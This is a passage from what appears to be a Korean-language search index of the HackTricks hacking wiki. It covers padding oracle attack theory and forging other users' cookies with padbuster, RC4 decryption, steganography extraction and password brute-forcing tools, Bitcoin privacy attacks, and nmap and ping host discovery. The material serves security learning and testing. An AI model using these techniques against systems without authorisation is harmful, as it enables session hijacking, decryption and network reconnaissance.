\\"hcon=RVJDQrwUdTRWJUVUeBKkEA==\\" -error \\"Invalid padding\\"","breadcrumbs":"Padding Oracle » 어떻게 악용할 것인가","id":"10144","title":"어떻게 악용할 것인가"},"10145":{"body":"요약 하자면, 모든 다양한 패딩 을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 끝에서 시작으로 바이트를 복호화하기 시작하며, 1, 2, 3 등의 패딩을 생성하는 올바른 값 이 무엇인지 추측합니다. 암호화된 텍스트가 E0에서 E15 까지의 바이트로 형성된 2 블록 을 차지한다고 가정해 보겠습니다. 마지막 블록 ( E8 에서 E15 )을 복호화 하기 위해 전체 블록은 \\"블록 암호 복호화\\"를 거쳐 중간 바이트 I0에서 I15 를 생성합니다. 마지막으로, 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 XOR 됩니다. 따라서: C15 = D(E15) ^ E7 = I15 ^ E7 C14 = I14 ^ E6 C13 = I13 ^ E5 C12 = I12 ^ E4 ... 이제 C15가 0x01이 되도록 E7을 수정할 수 있습니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: \\\\x01 = I15 ^ E\'7 따라서 E\'7을 찾으면 I15를 계산할 수 있습니다 : I15 = 0x01 ^ E\'7 이로 인해 C15를 계산할 수 있습니다 : C15 = E7 ^ I15 = E7 ^ \\\\x01 ^ E\'7 C15 를 알면 이제 C14를 계산할 수 있습니다 , 하지만 이번에는 패딩 \\\\x02\\\\x02를 브루트 포스해야 합니다. 이 BF는 이전 것만큼 복잡하며, 값이 0x02인 E\'\'15를 계산할 수 있습니다: E\'\'7 = \\\\x02 ^ I15 따라서 **C14가 0x02가 되도록 하는 E\'14**를 찾기만 하면 됩니다. 그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: C14 = E6 ^ I14 = E6 ^ \\\\x02 ^ E\'\'6 이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.","breadcrumbs":"Padding Oracle » 이론","id":"10145","title":"이론"},"10146":{"body":"계정을 등록하고 이 계정으로 로그인하십시오. 여러 번 로그인 하고 항상 같은 쿠키 를 받는다면, 애플리케이션에 문제가 있을 가능성이 높습니다. 전송된 쿠키는 매번 고유해야 합니다. 쿠키가 항상 같다면 , 아마도 항상 유효할 것이며 이를 무효화할 방법이 없을 것입니다. 이제 쿠키를 수정 하려고 하면 애플리케이션에서 오류 가 발생하는 것을 볼 수 있습니다. 하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에게 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 매우 높습니다.","breadcrumbs":"Padding Oracle » 취약점 탐지","id":"10146","title":"취약점 탐지"},"10147":{"body":"https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Padding Oracle » 참고 문헌","id":"10147","title":"참고 문헌"},"10148":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 암호화된 모든 콘텐츠를 암호 해독할 수 있습니다. 암호화 함수만 사용하면 됩니다. 알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참조는 HTB Kryptos 머신에서 찾을 수 있습니다: Hack The Box - Kryptos - 0xRick\\\\xe2\\\\x80\\\\x99s Blog Hack The Box - Kryptos - 0xRick\\\\xe2\\\\x80\\\\x99s Blog tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"RC4 - Encrypt&Decrypt » RC4 Encrypt and Decrypt","id":"10148","title":"RC4 Encrypt and Decrypt"},"10149":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Stego Tricks » Stego Tricks","id":"10149","title":"Stego Tricks"},"1015":{"body":"CoinJoin 은 서로 다른 사용자로부터 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고, 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다. CoinJoin을 사용했을 가능성이 있는 예시 거래는 402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a 및 85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238입니다. 자세한 정보는 CoinJoin 을 방문하세요. 이더리움에서 유사한 서비스는 Tornado Cash 로, 이는 채굴자의 자금으로 거래를 익명화합니다.","breadcrumbs":"Blockchain & Crypto » CoinJoin","id":"1015","title":"CoinJoin"},"10150":{"body":"","breadcrumbs":"Stego Tricks » 파일에서 데이터 추출하기","id":"10150","title":"파일에서 데이터 추출하기"},"10151":{"body":"임베디드 숨겨진 파일과 데이터를 찾기 위한 바이너리 파일 검색 도구입니다. apt를 통해 설치되며, 소스는 GitHub 에서 확인할 수 있습니다. bash binwalk file # Displays the embedded data\\nbinwalk -e file # Extracts the data\\nbinwalk --dd \\".*\\" file # Extracts all data","breadcrumbs":"Stego Tricks » Binwalk","id":"10151","title":"Binwalk"},"10152":{"body":"헤더와 푸터를 기반으로 파일을 복구하며, png 이미지에 유용합니다. apt를 통해 설치되며, 소스는 GitHub 에 있습니다. bash foremost -i file # Extracts data","breadcrumbs":"Stego Tricks » Foremost","id":"10152","title":"Foremost"},"10153":{"body":"파일 메타데이터를 보기 위해 사용되며, 여기 에서 사용할 수 있습니다. bash exiftool file # Shows the metadata","breadcrumbs":"Stego Tricks » Exiftool","id":"10153","title":"Exiftool"},"10154":{"body":"exiftool과 유사하게 메타데이터를 보기 위한 도구입니다. apt를 통해 설치할 수 있으며, 소스는 GitHub 에서 확인할 수 있고, 공식 웹사이트 도 있습니다. bash exiv2 file # Shows the metadata","breadcrumbs":"Stego Tricks » Exiv2","id":"10154","title":"Exiv2"},"10155":{"body":"다루고 있는 파일의 유형을 식별합니다.","breadcrumbs":"Stego Tricks » 파일","id":"10155","title":"파일"},"10156":{"body":"출력을 필터링하기 위해 다양한 인코딩 설정을 사용하여 파일에서 읽을 수 있는 문자열을 추출합니다. bash strings -n 6 file # Extracts strings with a minimum length of 6\\nstrings -n 6 file | head -n 20 # First 20 strings\\nstrings -n 6 file | tail -n 20 # Last 20 strings\\nstrings -e s -n 6 file # 7bit strings\\nstrings -e S -n 6 file # 8bit strings\\nstrings -e l -n 6 file # 16bit strings (little-endian)\\nstrings -e b -n 6 file # 16bit strings (big-endian)\\nstrings -e L -n 6 file # 32bit strings (little-endian)\\nstrings -e B -n 6 file # 32bit strings (big-endian)","breadcrumbs":"Stego Tricks » 문자열","id":"10156","title":"문자열"},"10157":{"body":"온라인에서 찾은 원본 버전과 수정된 파일을 비교하는 데 유용합니다. bash cmp original.jpg stego.jpg -b -l","breadcrumbs":"Stego Tricks » 비교 (cmp)","id":"10157","title":"비교 (cmp)"},"10158":{"body":"","breadcrumbs":"Stego Tricks » 텍스트에서 숨겨진 데이터 추출하기","id":"10158","title":"텍스트에서 숨겨진 데이터 추출하기"},"10159":{"body":"겉보기에는 비어 있는 공간의 보이지 않는 문자들이 정보를 숨길 수 있습니다. 이 데이터를 추출하려면 https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder 를 방문하세요.","breadcrumbs":"Stego Tricks » 공간에서 숨겨진 데이터","id":"10159","title":"공간에서 숨겨진 데이터"},"1016":{"body":"CoinJoin의 변형인 PayJoin (또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래처럼 위장하여 CoinJoin의 고유한 동등 출력 특성을 가지지 않습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다. plaintext 2 btc --> 3 btc\\n5 btc 4 btc 위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다. PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며 , 거래 프라이버시 추구에 있어 유망한 발전입니다.","breadcrumbs":"Blockchain & Crypto » PayJoin","id":"1016","title":"PayJoin"},"10160":{"body":"","breadcrumbs":"Stego Tricks » 이미지에서 데이터 추출하기","id":"10160","title":"이미지에서 데이터 추출하기"},"10161":{"body":"GraphicMagick 는 이미지 파일 유형을 결정하고 잠재적인 손상을 식별하는 데 사용됩니다. 이미지를 검사하려면 아래 명령을 실행하세요: bash ./magick identify -verbose stego.jpg 손상된 이미지를 복구하려고 할 때, 메타데이터 주석을 추가하는 것이 도움이 될 수 있습니다: bash ./magick mogrify -set comment \'Extraneous bytes removed\' stego.jpg","breadcrumbs":"Stego Tricks » GraphicMagick로 이미지 세부정보 식별하기","id":"10161","title":"GraphicMagick로 이미지 세부정보 식별하기"},"10162":{"body":"Steghide는 JPEG, BMP, WAV, AU 파일 내에 데이터를 숨기는 기능을 제공하며, 암호화된 데이터를 삽입하고 추출할 수 있습니다. 설치는 apt를 사용하여 간단하게 할 수 있으며, 소스 코드는 GitHub에서 확인할 수 있습니다 . 명령어: steghide info file은 파일에 숨겨진 데이터가 있는지 확인합니다. steghide extract -sf file [--passphrase password]는 숨겨진 데이터를 추출하며, 비밀번호는 선택 사항입니다. 웹 기반 추출을 원하시면 이 웹사이트를 방문하세요 . Stegcracker를 이용한 무차별 대입 공격: Steghide의 비밀번호 크래킹을 시도하려면 stegcracker 를 다음과 같이 사용하세요: bash stegcracker []","breadcrumbs":"Stego Tricks » Steghide를 통한 데이터 은닉","id":"10162","title":"Steghide를 통한 데이터 은닉"},"10163":{"body":"zsteg는 PNG 및 BMP 파일에서 숨겨진 데이터를 발견하는 데 특화되어 있습니다. 설치는 gem install zsteg를 통해 이루어지며, GitHub에서 소스 를 확인할 수 있습니다. Commands: zsteg -a file는 파일에 모든 탐지 방법을 적용합니다. zsteg -E file는 데이터 추출을 위한 페이로드를 지정합니다.","breadcrumbs":"Stego Tricks » zsteg for PNG and BMP Files","id":"10163","title":"zsteg for PNG and BMP Files"},"10164":{"body":"stegoVeritas 는 메타데이터를 확인하고, 이미지 변환을 수행하며, LSB 무차별 대입 공격을 적용하는 등 다양한 기능을 제공합니다. 전체 옵션 목록은 stegoveritas.py -h를 사용하고, 모든 검사를 실행하려면 stegoveritas.py stego.jpg를 사용하세요. Stegsolve 는 이미지를 통해 숨겨진 텍스트나 메시지를 드러내기 위해 다양한 색상 필터를 적용합니다. GitHub에서 사용할 수 있습니다.","breadcrumbs":"Stego Tricks » StegoVeritas and Stegsolve","id":"10164","title":"StegoVeritas and Stegsolve"},"10165":{"body":"Fast Fourier Transform (FFT) 기술은 이미지에서 숨겨진 콘텐츠를 드러낼 수 있습니다. 유용한 리소스는 다음과 같습니다: EPFL Demo Ejectamenta FFTStegPic on GitHub","breadcrumbs":"Stego Tricks » FFT for Hidden Content Detection","id":"10165","title":"FFT for Hidden Content Detection"},"10166":{"body":"Stegpy는 PNG, BMP, GIF, WebP 및 WAV와 같은 형식을 지원하여 이미지 및 오디오 파일에 정보를 삽입할 수 있습니다. GitHub에서 사용할 수 있습니다.","breadcrumbs":"Stego Tricks » Stegpy for Audio and Image Files","id":"10166","title":"Stegpy for Audio and Image Files"},"10167":{"body":"PNG 파일을 분석하거나 그 진위를 확인하려면: bash apt-get install pngcheck\\npngcheck stego.png","breadcrumbs":"Stego Tricks » Pngcheck for PNG File Analysis","id":"10167","title":"Pngcheck for PNG File Analysis"},"10168":{"body":"더 많은 탐색을 원하신다면 다음을 방문해 보세요: Magic Eye Solver Image Error Level Analysis Outguess OpenStego DIIT","breadcrumbs":"Stego Tricks » 이미지 분석을 위한 추가 도구","id":"10168","title":"이미지 분석을 위한 추가 도구"},"10169":{"body":"오디오 스테가노그래피 는 사운드 파일 내에 정보를 숨기는 독특한 방법을 제공합니다. 숨겨진 콘텐츠를 삽입하거나 검색하기 위해 다양한 도구가 사용됩니다.","breadcrumbs":"Stego Tricks » 오디오에서 데이터 추출하기","id":"10169","title":"오디오에서 데이터 추출하기"},"1017":{"body":"","breadcrumbs":"Blockchain & Crypto » 암호화폐에서 프라이버시를 위한 모범 사례","id":"1017","title":"암호화폐에서 프라이버시를 위한 모범 사례"},"10170":{"body":"Steghide는 JPEG, BMP, WAV 및 AU 파일에 데이터를 숨기기 위해 설계된 다목적 도구입니다. 자세한 지침은 stego tricks documentation 에서 확인할 수 있습니다.","breadcrumbs":"Stego Tricks » Steghide (JPEG, BMP, WAV, AU)","id":"10170","title":"Steghide (JPEG, BMP, WAV, AU)"},"10171":{"body":"이 도구는 PNG, BMP, GIF, WebP 및 WAV를 포함한 다양한 형식과 호환됩니다. 더 많은 정보는 Stegpy\'s section 을 참조하세요.","breadcrumbs":"Stego Tricks » Stegpy (PNG, BMP, GIF, WebP, WAV)","id":"10171","title":"Stegpy (PNG, BMP, GIF, WebP, WAV)"},"10172":{"body":"ffmpeg는 오디오 파일의 무결성을 평가하는 데 중요하며, 자세한 정보를 강조하고 불일치를 정확히 지적합니다. bash ffmpeg -v info -i stego.mp3 -f null -","breadcrumbs":"Stego Tricks » ffmpeg","id":"10172","title":"ffmpeg"},"10173":{"body":"WavSteg는 최소 유의 비트 전략을 사용하여 WAV 파일 내에서 데이터를 숨기고 추출하는 데 뛰어납니다. GitHub 에서 사용할 수 있습니다. 명령어는 다음과 같습니다: bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile","breadcrumbs":"Stego Tricks » WavSteg (WAV)","id":"10173","title":"WavSteg (WAV)"},"10174":{"body":"Deepsound는 AES-256을 사용하여 사운드 파일 내의 정보를 암호화하고 감지할 수 있습니다. 공식 페이지 에서 다운로드할 수 있습니다.","breadcrumbs":"Stego Tricks » Deepsound","id":"10174","title":"Deepsound"},"10175":{"body":"Sonic Visualizer는 오디오 파일의 시각적 및 분석적 검사를 위한 귀중한 도구로, 다른 방법으로는 감지할 수 없는 숨겨진 요소를 드러낼 수 있습니다. 더 많은 정보는 공식 웹사이트 를 방문하세요.","breadcrumbs":"Stego Tricks » Sonic Visualizer","id":"10175","title":"Sonic Visualizer"},"10176":{"body":"오디오 파일에서 DTMF 톤을 감지하는 것은 이 DTMF 감지기 와 DialABC 와 같은 온라인 도구를 통해 가능합니다.","breadcrumbs":"Stego Tricks » DTMF Tones - Dial Tones","id":"10176","title":"DTMF Tones - Dial Tones"},"10177":{"body":"","breadcrumbs":"Stego Tricks » Other Techniques","id":"10177","title":"Other Techniques"},"10178":{"body":"정수로 제곱되는 이진 데이터는 QR 코드를 나타낼 수 있습니다. 확인하려면 이 코드를 사용하세요: python import math\\nmath.sqrt(2500) #50 이진수를 이미지로 변환하려면 dcode 를 확인하세요. QR 코드를 읽으려면 이 온라인 바코드 리더 를 사용하세요.","breadcrumbs":"Stego Tricks » Binary Length SQRT - QR Code","id":"10178","title":"Binary Length SQRT - QR Code"},"10179":{"body":"점자를 번역하기 위해 Branah Braille Translator 는 훌륭한 자원입니다.","breadcrumbs":"Stego Tricks » 점자 번역","id":"10179","title":"점자 번역"},"1018":{"body":"프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다: 풀 노드 : 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다. 클라이언트 측 블록 필터링 : 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.","breadcrumbs":"Blockchain & Crypto » 지갑 동기화 기술","id":"1018","title":"지갑 동기화 기술"},"10180":{"body":"https://0xrick.github.io/lists/stego/ https://github.com/DominicBreuker/stego-toolkit tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Stego Tricks » 참고문헌","id":"10180","title":"참고문헌"},"10181":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Esoteric languages » 에소테릭 언어","id":"10181","title":"에소테릭 언어"},"10182":{"body":"더 많은 에소테릭 언어를 검색하려면 해당 위키를 확인하세요.","breadcrumbs":"Esoteric languages » Esolangs Wiki","id":"10182","title":"Esolangs Wiki"},"10183":{"body":"(\'&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= http://malbolge.doleczek.pl/","breadcrumbs":"Esoteric languages » Malbolge","id":"10183","title":"Malbolge"},"10184":{"body":"https://www.bertnase.de/npiet/npiet-execute.php","breadcrumbs":"Esoteric languages » npiet","id":"10184","title":"npiet"},"10185":{"body":"Midnight takes your heart and your soul\\nWhile your heart is as high as your soul\\nPut your heart without your soul into your heart Give back your heart Desire is a lovestruck ladykiller\\nMy world is nothing\\nFire is ice\\nHate is water\\nUntil my world is Desire,\\nBuild my world up\\nIf Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing\\nShout \\"FizzBuzz!\\"\\nTake it to the top If Midnight taking my world, Fire is nothing\\nShout \\"Fizz!\\"\\nTake it to the top If Midnight taking my world, Hate is nothing\\nSay \\"Buzz!\\"\\nTake it to the top Whisper my world https://codewithrockstar.com/","breadcrumbs":"Esoteric languages » Rockstar","id":"10185","title":"Rockstar"},"10186":{"body":"KoKoKoKoKoKoKoKoKoKo Kud-Kudah\\nKoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah\\nKoKoKo Kud-Kudah\\nkOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah\\nKoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek\\nkOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO\\nKukarek tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Esoteric languages » PETOOH","id":"10186","title":"PETOOH"},"10187":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 스마트 계약 은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개자 없이 계약 실행을 자동화합니다. **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트 엔드와 투명하고 감사 가능한 백 엔드를 특징으로 합니다. 토큰 및 코인 은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다. 유틸리티 토큰 은 서비스에 대한 접근을 부여하고, 증권 토큰 은 자산 소유권을 나타냅니다. DeFi 는 탈중앙화 금융을 의미하며, 중앙 권한 없이 금융 서비스를 제공합니다. DEX 와 DAO 는 각각 탈중앙화 거래 플랫폼과 탈중앙화 자율 조직을 의미합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 기본 개념","id":"10187","title":"기본 개념"},"10188":{"body":"합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다: **작업 증명 (PoW)**은 거래 검증을 위해 계산 능력에 의존합니다. **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.","breadcrumbs":"Blockchain & Crypto Currencies » 합의 메커니즘","id":"10188","title":"합의 메커니즘"},"10189":{"body":"","breadcrumbs":"Blockchain & Crypto Currencies » 비트코인 필수 사항","id":"10189","title":"비트코인 필수 사항"},"1019":{"body":"비트코인이 P2P 네트워크에서 운영되기 때문에, 네트워크와 상호작용할 때 IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장됩니다.","breadcrumbs":"Blockchain & Crypto » 익명성을 위한 Tor 활용","id":"1019","title":"익명성을 위한 Tor 활용"},"10190":{"body":"비트코인 거래는 주소 간 자금을 전송하는 것을 포함합니다. 거래는 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 전송을 시작할 수 있습니다. 주요 구성 요소: 다중 서명 거래 는 거래를 승인하기 위해 여러 서명이 필요합니다. 거래는 입력 (자금 출처), 출력 (목적지), 수수료 (채굴자에게 지급), 및 스크립트 (거래 규칙)로 구성됩니다.","breadcrumbs":"Blockchain & Crypto Currencies » 거래","id":"10190","title":"거래"},"10191":{"body":"비트코인의 확장성을 향상시키기 위해 여러 거래를 채널 내에서 허용하고, 최종 상태만 블록체인에 방송하는 것을 목표로 합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 라이트닝 네트워크","id":"10191","title":"라이트닝 네트워크"},"10192":{"body":"공통 입력 소유권 및 UTXO 변경 주소 탐지 와 같은 프라이버시 공격은 거래 패턴을 악용합니다. 믹서 및 코인조인 과 같은 전략은 사용자 간의 거래 링크를 모호하게 하여 익명성을 향상시킵니다.","breadcrumbs":"Blockchain & Crypto Currencies » 비트코인 프라이버시 문제","id":"10192","title":"비트코인 프라이버시 문제"},"10193":{"body":"현금 거래, 채굴 및 믹서를 사용하는 방법이 포함됩니다. 코인조인 은 여러 거래를 혼합하여 추적 가능성을 복잡하게 만들고, 페이조인 은 코인조인을 일반 거래로 위장하여 프라이버시를 높입니다.","breadcrumbs":"Blockchain & Crypto Currencies » 비트코인을 익명으로 획득하기","id":"10193","title":"비트코인을 익명으로 획득하기"},"10194":{"body":"","breadcrumbs":"Blockchain & Crypto Currencies » 비트코인 프라이버시 공격","id":"10194","title":"비트코인 프라이버시 공격"},"10195":{"body":"비트코인 세계에서 거래의 프라이버시와 사용자 익명성은 종종 우려의 대상입니다. 공격자가 비트코인 프라이버시를 침해할 수 있는 여러 일반적인 방법에 대한 간단한 개요입니다.","breadcrumbs":"Blockchain & Crypto Currencies » 비트코인 프라이버시 공격 요약","id":"10195","title":"비트코인 프라이버시 공격 요약"},"10196":{"body":"복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다 .","breadcrumbs":"Blockchain & Crypto Currencies » 공통 입력 소유권 가정","id":"10196","title":"공통 입력 소유권 가정"},"10197":{"body":"UTXO, 즉 사용되지 않은 거래 출력 은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » UTXO 변경 주소 탐지","id":"10197","title":"UTXO 변경 주소 탐지"},"10198":{"body":"이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 예시","id":"10198","title":"예시"},"10199":{"body":"사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 주소와 소유자를 쉽게 연결할 수 있게 합니다 .","breadcrumbs":"Blockchain & Crypto Currencies » 소셜 네트워크 및 포럼 노출","id":"10199","title":"소셜 네트워크 및 포럼 노출"},"102":{"body":"외부에서 호스트 발견하기 ( ICMP )에서 설명된 기법들은 여기에도 적용할 수 있습니다 . 하지만 다른 호스트들과 같은 네트워크 에 있기 때문에, 더 많은 작업 을 할 수 있습니다: 서브넷 브로드캐스트 주소에 ping 을 보내면, ping이 각 호스트 에 도달하고 이들이 당신에게 응답 할 수 있습니다: ping -b 10.10.5.255 네트워크 브로드캐스트 주소로 ping 을 보내면 다른 서브넷 에 있는 호스트도 찾을 수 있습니다: ping -b 255.255.255.255 nmap의 -PE, -PP, -PM 플래그를 사용하여 각각 ICMPv4 echo , timestamp , 그리고 subnet mask requests 를 전송해 호스트 검색을 수행합니다: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24","breadcrumbs":"Pentesting Network » 활성 ICMP","id":"102","title":"활성 ICMP"},"1020":{"body":"프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체에 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.","breadcrumbs":"Blockchain & Crypto » 주소 재사용 방지","id":"1020","title":"주소 재사용 방지"},"10200":{"body":"거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.","breadcrumbs":"Blockchain & Crypto Currencies » 거래 그래프 분석","id":"10200","title":"거래 그래프 분석"},"10201":{"body":"이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 불필요한 입력 휴리스틱 (최적 변경 휴리스틱)","id":"10201","title":"불필요한 입력 휴리스틱 (최적 변경 휴리스틱)"},"10202":{"body":"bash 2 btc --> 4 btc\\n3 btc 1 btc 더 많은 입력을 추가하면 변경된 출력이 단일 입력보다 커지므로 휴리스틱을 혼란스럽게 할 수 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 예시","id":"10202","title":"예시"},"10203":{"body":"공격자는 이전에 사용된 주소로 소량을 보내어 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하며, 이를 통해 주소를 연결합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 강제 주소 재사용","id":"10203","title":"강제 주소 재사용"},"10204":{"body":"지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 올바른 지갑 동작","id":"10204","title":"올바른 지갑 동작"},"10205":{"body":"정확한 지불 금액: 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다. 정수: 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다. 지갑 지문 인식: 서로 다른 